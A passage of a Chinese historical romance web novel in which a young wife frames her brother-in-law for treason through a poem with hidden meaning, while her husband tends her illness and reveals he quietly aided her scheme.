第46章 第46章 一首好诗 谣言需要时间, 接下来的日子里,姚戚香只是安安静静做着自己的事,外带时不时抽空叫上孙月瑶, 去瞧一眼宜宁县主。 宜宁县主李嘉荣今年十六岁, 姚戚香虽然是嫂嫂,可她与这个妯娌同岁。几日相处下来,姚戚香发现县主没有她想象的那么“金尊玉贵”, 高高在上, 反而更像是个可爱的女孩子,将什么烦心事都与她们说。 “其实嫁过来之前,他便同我说,日后一定会挣个高官厚禄, 绝不会让我吃苦的……”李嘉荣穿着身红色的长裙, 上面点缀着金丝,她素发挽起,发间只一支金钗,整个人看上去华贵无比。 “可我也不知道他这是什么意思,成天往外面跑,也不见丝毫有读书的样子……我若是问起, 他反倒问我是不是不信任他, 倒叫我不好开口了。”李嘉荣叹气,“他从前跟我在一起时, 总说自己出身配不上我,我怕总提这事他心里也不好受, 就没再说了,只是他还是一天天往外跑,也不知是去做什么。” 孙月瑶扇着扇子没话说, 若是她,她巴不得孟极天天往外跑,可人家小两口新婚燕尔,蜜里调油的,孟檀又身无官职,不好好在家待着陪夫人,成天究竟是去做什么呢? 姚戚香看着县主那张苦恼得皱巴巴的小脸,忍不住开口:“你的意思是,你堂堂县主下嫁也就罢了,还百般伏低做小,求全他的自卑?” 孙月瑶不由看向她,这话说得……虽然是事实吧,但怎么听起来那么别扭。 李嘉荣也像是愣住了,“嗯?” 可她很快又反应过来,道:“既做了夫妻,是应该互相体谅的。” 姚戚香:“既是互相体谅,为何总是你在退让呢?” 李嘉荣说不出话来了,她本还想说,夫妻之间,女子本就是要格外忍让些的,书上都是这样写的,女先生也都是这样教的,可是……分明她的娘不是这样的。 爹爹对她的阿娘很是呵护,从不舍得叫阿娘担心,她一心想求得一心人,本以为孟檀就是那个一心人,她以为嫁了之后,孟檀便会和说好的一样上进读书,考取功名,可原来不是。 孟檀连家中都没有多待,早上出门,晚上才回来,有时候连晚饭都不跟她一起吃。 有时李嘉荣觉得恍惚,这人爱与不爱,分明是很难界定的,可她又觉得自己好像看得很清。 “那我……还能如何呢?”李嘉荣长长叹了口气,“我是不担心以后的荣华富贵,横竖有国公府托着,我只怕孟檀玩物丧志,成了……成了令我感到可怕的样子。” 孙月瑶垂眸,那不说的就是孟极了?孟极这样的夫君,居然在别人眼里,是很可怕的那种吗?她已经在浑然不觉的情况下,过了这么久可怕的日子吗? 好歹孟檀还长得俊俏,孟极…… 孙月瑶埋头喝水。 “人家说,新婚夫妻,头一个月便是互相试探底线的时候。”姚戚香道,“你退了,他便知道你可以退,以后再有了什么,他便还会想要让你退,在你不知不觉的时候,你就已经变成了一个自己都不认识的人了。” “更可怕的是,这一点,你可能永远都发现不了。”姚戚香道,“县主,你不妨想想,你最初与孟极在一起时,想的是什么?是只想与她厮守吗?” 李嘉荣想着,回忆着,然后轻轻摇头。 不,不是,她最初与孟檀在一起时,就已经看上了孟家这个门第,然后才是孟檀的长相,然后才是他的性情,王族贵女成亲,怎么可能弃门第于不顾呢?若真是如此,她何不找一个模样好、性情又好的郎君,做上门婿?这样,她什么也不用愁,就算愁了,也得是他哄着她。 所以李嘉荣明白,她的自苦不是因为别的,就是因为孟檀没有达到她所期望的。 “我与嫂嫂言尽于此了,今儿天色不早了,我们就先回去了。”姚戚香起身告辞,孙月瑶也跟着一同起身。 “二位嫂嫂慢走。”李嘉荣起身相送。 两人刚离开三房,孙月瑶就踌躇道:“明日……孟司使可在府上?” 姚戚香笑了:“不在,嫂嫂只管来便是,我这几日得闲得很。” 说好了这个,孙月瑶便有些害臊得先行告辞了,姚戚香回了房中,便在房中看到一个熟悉的身影。 “红绡?你回来了?”姚戚香道,“我还以为你再也不来了呢。” “为何这么说?”红绡道,“告假几日,岂有一去不回的道理。” “几日?你这可不是几日,老实说,那边如何了?” 红绡想了想,道:“家里想让我成亲,我不肯。本想一走了之,谁知正赶上我爹病了,这才没及时回来。” “不要紧吧?”姚戚香道,“若是缺银子使,就跟我说。” “不缺。”红绡摇头,“已经好得差不多了。” 姚戚香觉得红绡可真是她的及时雨,她这阵子正愁要用人呢,于是便将孟元德的事与红绡说了说。 听罢之后,红绡道:“那你要我做什么?” “有个关键之处。”姚戚香道,“你替我寻一个人,能作诗的,且还是不俗的那种,起码要让孟元德很瞧得上眼。” 红绡眨了下眼,心中已经有了计较,她道:“找了,要做什么?” “请他帮忙写一首诗,要多少钱都可以。”姚戚香弯眸,凑近红绡低语了几句。 相比起邓卓和黄琬的任务,红绡这个应该是最难办的了吧?首先诗要好,其次里面要能藏住东西,且能做到这两点的,不一定能看得上她的银子。 所以,姚戚香虽知道红绡办事一向牢靠,可也想着怎么也要好几日。 谁知晓第二天,红绡就把诗带到她面前来了。 她睁大眼睛盯着诗看了半天,道:“这字谁写的?” “我。”红绡道,“那人怕我框他,自己不肯动笔,就口述让我代写。” 姚戚香盯着诗看了半天,许久,也没能从中品出一丝谋逆的味儿来。 她道:“他不会是框你的吧?这诗哪里藏着我跟你说的那种意思了?” 结果红绡弯身,给她指了几处,姚戚香连着一看,又琢磨了半晌,才突然回过味来。 “这是不是也太隐晦了!”姚戚香道,“别人看不出来怎么办?” “那孟元德也不是傻子,要是明显的话,他能读吗?”红绡说着,在姚戚香面前比了个“五”。 姚戚香一噎,“五、五百两?” “五十两!”红绡道。 “怎么可能?这么便宜?”姚戚香睁大了双眼,她都做好倾家荡产的准备了。 “嗯,那人是个落魄穷书生,见我肯出五十两买他的诗,他高兴得立马回家种地了。” 姚戚香哑然,那确实,五十两,够寻常人家好久的花销了。 这么难的一件事,红绡居然这么快就办妥了,姚戚香实在是不知该说什么才好,只能给红绡赏了两个大元宝。 “你这两天帮我盯着,看孟元德还去不去曼荷那儿,还是他最近换口味了。”姚戚香道。 红绡答应了。 孟元德近日好事将近,那黄琬时不时跟在他屁股后头跟什么似的,生怕他不应下这门亲事。 早知道她这么好得手……那晚,他就该做得更过分些,而不是草草扯了衣服搂搂抱抱了几下了。 他怕做得太过,万一黄琬一时激愤自尽了,那他麻烦就大了。 不过幸好,他谋算一番,也没落了空,这样一来,他娶黄琬为妻也只是时间问题,现在黄琬只怕比他更害怕这桩亲事不成。 只是……最近他听到一些流言,说他孟元德不光学问不好,还私德不修,京城那几个爱逛窑子的贵公子中,属他做学问最差,到现在了连首像样的诗都写不出来。 且黄琬也跟他几番提到,黄家之所以拒了这门亲事,就是因为他至今每个功名在身,若有功名,一切都好说。 孟元德不屑,横竖黄琬都已经是囊中之物了,不值得他再花费什么心思,只是名声一事,还是应当看重的,否则他面子往哪里搁? 考取功名是不能了,不过他倒也可以琢磨些淫词浪语,搏个什么风流公子的名号,青楼里的那些姑娘,几乎无人不夸他长得好看。 私底下,孟元德也尝试作了几首,可总是称不上雅,人家是风流才子,他写的这些,那确实都算是淫词浪语了。 无奈之下,孟元德私花大钱找了几个落魄穷书生,付钱让他们给他写诗,当然他也懂,人与人作诗的感觉不同,他也不贪,在几个人的诗词里挑选几篇感觉差不多的,这才拿到朋友面前去卖弄。 自然也得了几句好,只是穷书生之所以落魄,那就是谈不上有什么真才实学,孟元德找不到一首堪称绝的好诗,自然也无法成就他风流公子的名号了。 此事堆在心里越想越急,无奈之下,孟元德今日又去了青楼。 一来,找曼荷叙叙旧,二来还能借口挡了狐朋狗友们的聚会,否则这些人又逮着他作诗。 夜幕降临,孟元德被请进了曼荷的房间。 第47章 第47章 我不后悔 孟元德有日子没来了, 今日突然过来,曼荷心里还很是高兴。孟元德其人,虽自大狂妄了些, 可给的钱却是实打实的多, 反正她哄谁不是哄?为什么不哄个钱多的呢? 不过曼荷隐隐预感,孟元德对她的新鲜劲差不多了,也不知下一个会便宜谁。要是孟元德再多来几次, 她都能把赎身的钱攒够本了, 有些可惜。 人进来的时候,曼荷还是拿出了十足的谄媚劲儿来,她一见孟元德眉宇间透露着不耐,便娇声笑道:“我的爷, 哪个不长眼的敢惹了您?” 孟元德摆摆手, 此事不提也罢。 他不说,曼荷却知道是为何,青楼里就算别的没有,那消息绝对是最流通的,她们这些人,要知道京中各家人的秘密, 这样等人来了才能更好地伺候, 不过既然孟元德不愿提此事,她也不会主动提及, 只按照两人旧时的习惯,先请孟元德饮酒。 今日这酒喝得有些闷, 往常他饮的时候,少说还会时不时调笑几句,今日却一言不发, 只是一个劲灌酒。 曼荷暗道今日怕是没得赏钱了,暗叫倒霉。 孟元德酒量一般,往常与她调情时,手下还有个分寸,只喝几杯倒也罢了。今日倒真像是来喝闷酒的,一杯接着一杯,短短一会儿功夫,一壶酒都要空了。 曼荷小心翼翼陪了一会儿,一句话也不敢多说,生怕自己说错了什么,哪句触到他的霉头要遭殃。 过了一会儿,等孟元德喝得醉醺醺时,他突然将桌子一拍,吼道:“老子怎么就不通文墨了!” 这一声喊得震天,吓了曼荷一跳。 “不就是几个穷酸腐儒一没家世,二不得志,编出几句话来挖苦老子吗?这群下等的东西,谁还能把他们的话当真不成!” 曼荷背地里白了孟元德一眼,笑盈盈地上前一边抚慰着孟元德的胸口,一边道:“是是是,爷可别跟那些人计较,他们一穷二白的有什么呀!都是嫉妒您罢了!” 这话说到了孟元德心里,他满意地点点头。 见状,曼荷又道:“要我说,那些人凭什么非要说您呀?天底下的贵子王孙那么多,怎么就不说别人呀?那不就是捡着最显眼的一个挑刺?还不是看您站到了世家公子中的最高处,他们眼红罢了!” “有道理!”孟元德发自内心地这么认为,他不就是没个功名在身吗?除此之外简直处处是优点,那些人没得挑了,这才拿着他这点来说事。 “这天底下的公子哥,谁能有您这么有气势。”曼荷继续发力,“谁能有您这样的气质?谁能有您这样俊俏的外貌?谁还能有您这么好的出身呢?” 几句话下来,孟元德被哄得云里雾里,忍不住就大手一挥,赏了曼荷一块成色上好的玉。 曼荷接过玉,欢喜地又敬了孟元德一杯。 孟元德指着她道:“曼荷,若你不是贱籍出身,我倒真想纳你为妾。” 这种话,曼荷从前听了无数遍了,她内心淡淡,甚至不屑,面上却露出大受感动的模样,迎合道:“是我的出身不好,注定无法与爷厮守了。” 酒醉之后,曼荷便哄他去睡了,屋内很快熄了灯,两人闹了一阵,便不知天地为何物了。 只是第二天一早,天蒙蒙亮的时候,孟元德起床小解,路过桌案时不经意往上面一瞥,便见一张字迹狂放的诗作。 只扫了两眼,孟元德立马直起了身,两眼放光地将那张纸抓了起来,复又仔仔细细地看了一遍。 精彩! 佳作! 绝世名篇! 孟元德叹为观止,这是何人所写? 紧接着,他就在这张桌子上瞧见了自己好几副“墨宝”。 孟元德愣了愣,左右相看,他手里的这张纸上,横竖都是他自己的笔迹! 这是他写的!? 孟元德大叫起来:“曼荷!曼荷!” 曼荷睡眼惺忪,皱着眉起身懒懒看向他,习惯性地挤出一抹笑容:“爷,您怎么了?” 孟元德指着桌子上的东西道:“这些,都是我昨夜写的?” 曼荷点点头:“是啊爷,您昨夜醉酒后诗兴大发,连作了好几首呢!” 害她站在旁边磨了好久的墨,手都酸了,还要迎合着赞美他,词都不带重样的,烦死人了。 孟元德脸上的表情逐渐变为狂喜,他反复看着自己手里的那首诗,目中满是欣赏和自得,一边看还一边笑,看得曼荷直皱眉——这人是疯了不成? “爷,您乐什么呢?”曼荷拢好了衣服,小心翼翼地下床,孟元德可不能在她房里疯了啊。 孟元德一把将她拉了过来,四指掸着这张纸,道:“你看看!你瞧瞧!绝世佳作啊!” 曼荷过去瞥了一眼,没怎么看懂,说实话,她所识的字不多,可看孟元德的神情,她又瞬间配合地露出喜色:“爷真是旷世奇才!” 孟元德自得得不得了,一边自我陶醉,一边问曼荷:“你是说,这首诗是我昨夜醉酒时所作?” “是啊。”曼荷点头,“这些诗都是您昨夜醉酒所作。” 孟元德不管其他的,只盯着自己手上这作,满意得不得了,摇着头道:“看来,我亦是有当世诗仙之能啊!” 曼荷没吭声。 不过这会儿,孟元德已经不需要她的奉承了,他满脑子都是一会儿当着众人的面吟出此诗,亦或者是饮酒到一半,突然诗兴大发,题下一首,一定是艳惊四座! 孟元德反复观想,还是先饮酒再作诗比较有说头,更符合他风流的名号! 他摆摆手:“行了!我先走了!” 曼荷正要送别,一想到自己昨晚伺候他磨墨伺候了那么久,怎么都觉得这回不划算,转了转眼珠子道:“爷,您昨晚说要把那条金腰带送我,可还算数?” “拿去!”孟元德脑子里早已装不下那些身外之物了。 孟元德走了,屋内曼荷捧着那条金腰带大喜过望,哈哈!赚翻了! 离了迷迷坊,孟元德便直接叫小厮去宴请各路好友,为迎合今日主题,他特地包下了四君子,让各路文人都来饮酒作乐,众人虽不知是怎么回事,可既然有白吃的酒席,那谁不去? 而且京中无人不想搭上孟家这条路,孟元德虽不才,可他哥哥孟扶危却是陛下眼前的红人,又是当今太子太傅,将来便是帝师了,谁人不想高攀? 还没等开宴,孟元德请的人就都来齐了,宁肯他们等着,可不敢叫这孟元德等他们,否则谁知道背地里会怎么报复呢。 四君子左右不过茶点好吃,孟元德为了应景,非要将地点择在这里,又差人去悦庭买了好酒,又差人去千味楼买来好菜,如此大费周章安顿了众人,才道:“今日只不过是友人小聚,诸位尽兴便可!” 前来的十几人左顾右盼,彼此心照不宣,心想这孟元德怕是又想出了什么法子作妖了,只是面子上依然奉承道:“孟公子真是出手阔绰,与孟君交往,真不枉我等来这世间一遭。” 往日里,这种奉承话孟元德听惯了,耳朵都起了茧子,可今日他偏觉得格外受用。 上了酒菜,孟元德也只是吃喝,照常与大家说笑,说些京中的趣闻,迟迟不奔主题,弄得大家也莫名其妙,难道他今日真就只是来请客的? 直到酒足饭饱,孟元德多饮了几杯酒后,他摇摇晃晃站起了身,一副兴致大发的模样,道:“拿纸笔来!” 他走路摇摇晃晃,以示自己真的醉了,有人上前去扶,生怕他摔了。 “拿纸笔!”孟元德继续大喊。 见他如此,有人只好冲小二使了个眼色,让他去取纸笔。 纸笔送到,孟元德提了笔,却又不马上写,又在众人面前喝了满满一盏酒,才一顿狂草落笔。 说是狂草,不过是字迹实在不大好辨认罢了。 写都写了,他们自然得上前恭维一番,各个揣着一副“果然如此”的表情,纷纷围在了孟元德身侧。 大字落下,整首诗一气呵成。 孟元德脸上的得意已经藏不住了,只等着被大加赞赏。 可他等了半天,周遭却是寂静一片。 在孟元德宴请的这些人中,纵然都是贵子王孙,且大多也都是如孟元德这般的纨绔,却也有真才实学的。 有人稍加琢磨便瞧出,这首诗的韵律不大对。 纵然词藻优美华丽,是明眼人看一眼便觉得好的那种诗,可经不起细细琢磨。 这字字句句,表达的意思都十分奇怪,好像言不达意,又好像处处都是暗示。 当然也有人没看出来,只当这怕是孟元德找什么人买的一篇诗作,他心里犯嘀咕,这时候不是要夸吗?怎么周围人都安安静静的? 孟元德等了半天,什么都没等到,正要发火,就听有人问了一句:“这是孟兄亲自所写?” 孟元德还当自己的大作横空出世,叫这些人都不敢相信竟然是他写的,谦虚道:“酒气上头,一时胸中多了许多感怀,不得不发,我当诸位都是朋友,随便写写,见笑了!” 就算他刻意自谦,那人却仍没有要夸他的意思,继续问道:“这真是孟兄所写?这与你以往那几篇诗作风格可有些不同。” 孟元德一噎,他原先雇人写的那些诗作,是特意选了风流快意的那种路子,可只因这篇诗真是他写的,他一时便忘了是否与他之前那些诗作的风格相合了。 于是,他只得厚着脸皮道:“从前心中只有玩乐,然而我最近通读了几本书,突然对治世治国有了新的感悟,满饮几杯之后,我心中那些话便这样自然而然流淌出来,诸君所见便是了。” 在孟元德没有注意到的地方,有两人低着头弓着腰,偷偷溜了。 随即,又有几人谎称家中有事,忙不迭告辞了。 到了这个地步,其余几人也逐渐回过味来,竟然连一句话都不敢留,头也不回地跑了,酒尚未全醒的孟元德站在原地,全然不知发生了何事。 这些人怎么了?难道被他这篇佳作震惊得说不出话来了? 难道他们如此急急忙忙,是去奔走相告了? ……总不能是要来立马剽窃了他的创意,回去再创新诗吧? 孟元德一个激灵,酒醒了大半,然而很快他又想到——不可能,绝对不可能,在场那么多人,都是人证,都亲眼看着他写下此诗,亲口听他叙述了创作灵感,不可能跑得脱的! 那这些人……是去干什么了? 孟元德垂眸,恍恍惚惚地看着自己的大作,万般不解为何没人赞他。 屋中,姚戚香正提着根狗尾草逗猫,听见窗根下一声轻响,她便知是红绡回来了。 “如何?”姚戚香问。 红绡:“鱼咬钩了。” 姚戚香抬眸:“你可看清了吗?” “错不了,在场那些人都亲眼所见,无论如何他也跑不脱。” 那就行了。 姚戚香满意地把猫儿抱进怀里揉揉肚子,开口道:“该吃饭了吧?你说刚刚孟扶危回书房了?” “嗯。” “那你去叫他过来吧。”姚戚香勾唇,“就跟他说,今夜我亲自下厨,弄两个拿手菜,请他尝尝。” “好。”红绡走了。 姚戚香之前确实不大会做菜,不过近日她跟钟嬷嬷学了几手,想试试效果。 她放下猫儿进了厨房,这两道菜她私下做过两回,自己觉得还成,突然有了兴致想让孟扶危也尝尝。 因为她此刻心情实在是好。 孟扶危过来的时候,看见姚戚香站在厨房,她双袖挽起,露出的小臂上还沾着面,正垂眸做着活,发梢被旁边的灯盏打出近乎透明的灯光。 他不禁走了进去,顺带也挽着自己的袖子问:“可要我帮忙?” 姚戚香有些意外,她摇了摇头:“不用了,我这儿都好了。” 案上黄澄澄两碗汤,上面漂着梅花状的面饼,看上去的确是已经做好了。 下人还没有靠过来,孟扶危便端着两碗汤饼放在了屋里的桌子上,姚戚香则是端着两碗冰镇圆子跟在了孟扶危身后。 到了桌旁,孟扶危看她手中的东西一眼,道:“先食热,再食冷,有伤肠胃。” 姚戚香顿了顿,道:“我就学了这两样。” 孟扶危默了瞬,道:“一次无妨。” “嘿嘿。”姚戚香放下冰镇圆子,坐在桌边先喝了口鸡汤,这鸡汤她下午就开始熬了,只等着听孟元德的消息,若是成了,这鸡汤便是梅花汤饼,若是没成,鸡汤便只是鸡汤。 她见孟扶危尝了,问道:“如何?” 孟扶危道:“味道很好。” “真的?”姚戚香意外,居然不是还行,或者不错之类的敷衍之词,“有没有什么改进之处?” 孟扶危想了想,道:“若放少许胡椒,滋味会更好。” “我记着了!” 姚戚香开开心心吃了汤饼,又接连吃了冰镇圆子,两碗下肚,只觉得畅快,她今日是真觉得心情极佳,孟元德是她扳倒常氏的最后一步,没想到这一日的到来比她预想中的要早这么多。 没想到入睡时,姚戚香便应了孟扶危的话了。 她起初还不觉得什么,刚沐洗完便觉得小腹隐隐有些坠痛,回屋后坐了会儿,肚子就疼得不行了。 一开始,姚戚香还强忍着一声不吭,天气热,她直忍得前额和鼻尖沁满了汗珠,发现这腹痛实在忍不过去了,才起身打算去烧壶热水喝。 “去哪儿?” 谁知刚走了两步,孟扶危就叫住了她。 姚戚香面上很是镇定,道:“我去…弄点热茶。” 孟扶危抬眸朝她看了过来,片刻,他起了身朝她走来,目光落在她腹部,问:“不舒服?” 有那么明显吗? 姚戚香心里嘀咕,不情不愿点了下头,算孟扶危的话应验了!凭什么孟扶危就没事? 顿了顿,孟扶危又问:“你是不是月事将近?” “……”姚戚香算了下日子,道,“按说还有十来天的。” “你在这儿等我吧。”孟扶危丢下这句话,就开门出去了,弄得姚戚香一脸莫名其妙。 他去给她烧热水了?可他直接出去了呀,这种事不是吩咐一句就行了? 阵痛又至,姚戚香瞬间白了脸,不得不躺在了床上缩成一团,她再也不把汤饼和冰圆子弄一起吃了! 过了会儿,孟扶危又回来了,他手上拿着一个布袋子,身后还跟着茗玉。 孟扶危走近,二话不说揭起她的中衣,紧接着将布包塞了进去。 “我……”姚戚香正要拒绝,等布袋子贴到她身上时,她惊讶道,“热的!?” 而且非常热乎,服服帖帖贴在她肚子上,姚戚香忙抱好了。 “嗯,新的还在炒,一会儿她们会进来给你换。”孟扶危说完便坐到一边,示意茗玉走近。 茗玉将手中的黑色汤药递给姚戚香,道:“娘子,这是温经汤。” 姚戚香看着那黑黢黢的汤药便忍不住皱眉,这一定是苦的吧? 不过她什么也没说,拿过碗就仰头一饮而尽,等要入口了她才发觉一点也不苦,有一股微辣的姜味,还有一点点甜丝丝的枣味。 茗玉笑道:“公子特吩咐加了许多红枣进去,这药不苦的。” 姚戚香不好意思地把碗放了回去,不知道怎么了,她觉得自己脸上烧得厉害。 茗玉拿着药碗出去了,只剩下姚戚香与孟扶危两个人坐着,姚戚香觉得有些尴尬,便主动道:“我觉得好多了,睡吧。” “很快她们要来换你热敷的袋子,要换过三巡才可。”孟扶危就坐在床边,没有要动的意思。 “……这么多回?”姚戚香道,其实她觉得刚刚那碗药喝下去,也不知是不是心理作用,立刻就觉得好多了。 “嗯,如若不然,等你来了月信还会疼。” 姚戚香不知他竟想得如此长远,她顺着话题问:“你……很懂这些?你会医理?” “不会,之前专找人学的。”孟扶危解释,顿了顿,他许是觉得这样说不妥,又补充,“成亲前。” 不知是不是因为那药的缘故,姚戚香喉间发涩,成亲前学的,那不就是为了她学的了。 这件事,自然而然与茗玉告诉她的落地灯一事重叠在一起。 “……孟扶危,我们的婚事仓促,你……我们成亲以来,你有后悔过吗?”姚戚香小声问。 “后悔什么?”他侧身看着她。 “自然是后悔成亲,后悔娶我呀!后悔当初没有拒绝婆母给你安排的这样一桩……” “我不后悔。”他道。 姚戚香话都没有说完,就听见他这样肯定的答复,她怔了怔,流连着的目光不知要落到何处。 孟扶危说他不后悔,他是没理由骗她的,他孟扶危是什么人,何必要骗她这样的人呢…… 这时,女使进门给姚戚香换了新的热敷袋,姚戚香抱在肚子上,已经觉得腹痛好多了。 她坐在孟扶危身后,不知要说些什么,可她心口却也像是被贴上一个热敷袋子,烫烫的。 这些年,她生病从来都是一个人熬的,老天眷顾,没给她生过什么大病,但每到冬日里少说都要病上一回的,她那间屋子里太冷了。 这是她第一次不舒服时被人守着,还被这么些人伺候着,舒舒服服坐在床上。 “孟扶危。”姚戚香喊他的名字,等孟扶危再度侧过身来时,她便近前,飞快地在他脸上亲了一下。 亲完之后,连她自己也觉得荒谬,双颊立时滚烫,一溜烟钻进被子里去了。 唯有还坐着的孟扶危,愣了一下,随后慢慢抿紧了唇。 第48章 第48章 夫君,我还是肚子疼 孟元德是半夜被人带走的, 阵仗不小,殿前司的人前脚围了孟府,后脚就把孟元德从府中拖了出去, 说是要详细调查, 等姚戚香听到消息赶往云栖堂时,二房和三房那边也即刻就到了。 “这是怎么回事?”孙月瑶有些慌了,她哪里见过什么谋逆, “发生什么事了?” 底下人道:“说是二公子涉嫌谋逆, 殿前司的把人带走了,那些人就像知道二公子在哪个院里似的,进来二话不少就往地方奔,拦都拦不住。” 姚戚香站在一旁默默去瞧屋里的常秋兰, 如此大事, 饶是常秋兰平日里端得再稳,此刻面上也显露出慌张来,忙道:“平日里伺候元德的是哪几个?还不快过来陈情!” “主母,这些日子二公子身边都是南湖跟着的,可南湖不知道去哪儿了,晚上出去了一趟, 到现在也没回来。” 说话期间, 姚戚香一直注意看着这几人的右手手臂,这是夏日, 府上做活的小厮都会把袖子挽上去一半,她细看了一阵, 并没有在上面看到手臂带着黑痣的。 那也就是说,那日随同孟元德去劫邓卓与黄琬的,就是这个南湖了。 她本打算趁今日混乱找出目睹了黄琬被轻薄的小厮, 没想到这个小厮竟然率先不见了,这叫姚戚香有些不安。 府上无一人知晓孟元德究竟发生了什么事,怎么突然跟谋逆扯上了关系,故而也就不知道对策,只能面面相觑地互相看着。 这时,李嘉荣道:“孟檀,你怎么了?额头上怎么出了这么多汗。” 众人循声望了过去,只见孟檀匆匆用袖子擦了一把,道:“我跑过来的,这会儿热着了。” 李嘉荣瞥了眼他用来擦汗的袖子,道:“你身上不是有手帕吗,这么不讲究。” 又等了几刻,常秋兰明显坐不住了,忍不住对孟祁柏道:“那殿前司里面是什么地方,不是审讯犯人的吗?元德去了会不会被严刑拷打,屈打成招啊?” 孟祁柏哪里知道,他又没进过,不过,他却是下意识将目光投向一直沉默的孟扶危,道:“你弟弟被抓了,你就一点也不担心?瞧你这副四平八稳的样子,这要是别人家哥哥,早就东奔西跑为弟弟打点了!” 姚戚香听着没由来一阵烦躁,一来她心里一清二楚此事是她设计的,与孟扶危又没关系,二来她不知道这个公爹是发的什么神经,总是针对孟扶危,这会儿倒是知道求人了,却又没个求人的态度。 眼下她还未能掌了孟家的权,不能公然顶撞长辈,可姚戚香就是不爽得很。 她暗暗瞥了孟祁柏一眼,忽然开始痛呼起来。 她一出声,孟扶危连话都顾不上回,立刻回身看她。 “夫君,我还是肚子疼。”姚戚香抱住了孟扶危的手臂,一句话说得可怜巴巴,可脸上却是满满的不耐烦。 她埋在孟扶危怀里,脸上的表情只有孟扶危一个人才能看见。 半天,孟扶危才回了一句:“嗯。” 然后,又道:“横竖现在无事,我带你回去再吃副药。” 好一个横竖现在无事,孟扶危刚一说完,姚戚香就看见孟祁柏的脸都绿了。 他起了身,问:“能走吗?” 姚戚香摇了摇头,看上去虚弱极了。 茗玉立时上前,刚要说话,就见孟扶危已然弯身,将姚戚香打横抱起了。 姚戚香一边惊叹于孟扶危的臂力,转瞬又想,他力气自然是大的,嗯。 眼看要走了,姚戚香还泪眼朦胧地跟常秋兰说了一声:“婆母见谅,也是儿媳这身子不争气,晚上贪凉吃了碗冰圆子,竟然疼到现在了。” 常秋兰理都不想理她。 姚戚香无所谓,拍了拍孟扶危的肩膀示意他赶紧走。 谁要大半夜站这儿给你们的晦气儿子守丧。 茗玉和云韬立刻跟上。 路走了一半,姚戚香就笑出了声,她踢了踢腿,笑道:“好了,快放我下来!” 说完,孟扶危却不动,仍旧抱着她往前走。 “好了,装完了!该放我下来了!”姚戚香以为他没懂自己的意思,用手拍了拍他。 孟扶危依然没放她下来,倒是开口道:“做戏做全套。” 闻言,姚戚香还以为有那边的人跟过来了,就没出声,老老实实待着。 过了一会儿,孟扶危问她:“真的不疼吗?” “嗯。”姚戚香道,“喝了那碗温经汤就好多了,又热敷了半天,早好了。” 顿了顿,他又说:“想不想吃桐子记的烧鸡?” 姚戚香双眼先是一亮,随后看了眼天色,道:“算了,买不到吧?这都什么时辰了。” “我买得到。”他又说。 那姚戚香是真想吃,不过她还是有些犹豫:“这个时候,把人喊起来是不是有点不好?” “我出他一日的营收额。” “那吃!”话都说到这个份上了,再不吃她都对不起自己,眼看云韬要去买了,姚戚香连忙嘱咐,“我要热热的!” “哎!”云韬应,“娘子放心。” 进了松风堂,姚戚香终于从孟扶危怀里挣扎了下来,这是他们自己的地界,总不能有人会跟到这里来。 这件事一出,姚戚香也没了睡意,这会儿精神奕奕的,她看向孟扶危,知道孟扶危既然是三司使,有关盐铁要务的职位少不得要跟京中守卫打交道,其中殿前司首当其冲。 她问:“他们会严刑拷打孟元德吗?” 孟元德看她一眼,问:“你是希望会,还是不会?” “会不会的,我倒不怎么在意。”姚戚香道,“就是好奇他们会怎么办这件事。” “孟元德的事,证据确凿,又有那么多人证,影响不小,这件事多半会重判。”孟扶危为她解惑。 太好了! 姚戚香暗喜,这正是她想要的。 “不过,”孟扶危又有了转折,“孟元德不一定会死。” 姚戚香抬眸,“为什么?” 孟扶危道:“孟家是百年世族,本朝开国以来,孟氏的族人就已经在盛京盘桓,太祖皇帝在世时,曾因孟氏的从龙之功,赐给孟氏一块免死金牌。” “这块金牌,存于历任孟氏家主手中。” 姚戚香面上一片空白,那不就是在孟祁柏手里了!他还能眼睁睁看着自己的儿子不救? “可谋逆这样的事,他真的敢救?”姚戚香问,孟祁柏难道不知避讳吗?自己的儿子牵涉谋逆,他这个当爹的怎么算都难辞其咎吧? “难说,若他引咎辞官,再拿出金牌,说不定会留孟元德一命。”孟扶危道,“毕竟,陛下也知孟元德是个庸才,而他所犯的不过也就是写了首不当的诗,虽罪同谋逆,但与成王起兵还是有着很大区别。” 姚戚香垂眸,孟元德死与不死与她是没什么相干,毕竟只要这个罪名按死了,常秋兰怎么也得交出掌家之权,可黄琬那边怎么办? 孟元德手里一定是捏了黄琬什么把柄的,他若不死,难保他今后心理扭曲,宣扬出黄琬的事,蓄意报复。 等等…… 姚戚香怔怔看着孟扶危,她道:“这些事,你是怎么知道的?” 孟元德写诗的是分明是白日里才发生的,孟扶危不光知道孟元德是因为写诗被抓的,还知道在场有很多人证。 看着她这副样子,孟扶危叹道:“你当真以为你做这件事,从头到尾我都不知吗?” “你知道?你一直都知道?”姚戚香恍惚,“你从什么时候开始知道的?” “从邓卓来找你那晚。”孟扶危如实相告。 那不就是从一开始就知道了?从一开始孟扶危就知道她想害死他这个弟弟,他居然一直都没有插手过,就这么任由事情发展,要知道,谋逆这种罪名,万一牵连了全族…… 姚戚香不敢深想,她做这件事的时候,也是考量过的,所以孟元德所行的谋逆之事如孟扶危所说,不过是写了首大逆不道的诗而已。 这种罪不可能累及家人,至多牵连也不过是罢官罢了,罢官那也是罢孟祁柏的官,陛下器重孟扶危,这个节骨眼上,不可能罢孟扶危的官。 所做的全部,姚戚香都是经过深思熟虑的,可她会这样做,那是因为她是外人,她横竖不在乎孟家,可孟扶危为什么一直不拦着? 姚戚香问:“此事,你是只作壁上观,还是亦有插手?” 孟扶危眸中流露出几分浅淡的笑意来。 “夫人不妨猜猜。”他这样唤她。 姚戚香真的开始猜了,如果她是孟扶危,这件事定要知道全局,那免不得要派人暗中监视的,可步步都在姚戚香的算计之内,整件事并未有什么意外收获。 忽然,姚戚香想起一人:“那个叫南湖的小厮,你是不是知道在哪儿?” 孟扶危平静地回:“死了。” 姚戚香怔住,她笃定地发问:“你让人灭的口?” “嗯。”孟扶危坦然承认。 得知了这一点,姚戚香非但没觉得不妥,反而情不自禁心中一喜,这样一来她就不用费心除掉南湖了,该死的便只剩下孟元德。 “孟扶危。”她道,“你告诉我,你做这些事,是想帮我,还是我也在你局中?” 眼看着自己离目标越来越近,姚戚香已经没什么好怕的了,她坦然问出,等孟扶危的答复。 孟扶危沉默了,即便是现在,他的神色也是一如既往的平静,就好像根本没有什么事能够激起他的情绪一样,就连自己的弟弟谋逆这样的事,他也冷冷静静地看着她做了,甚至还帮她料理了一个人。 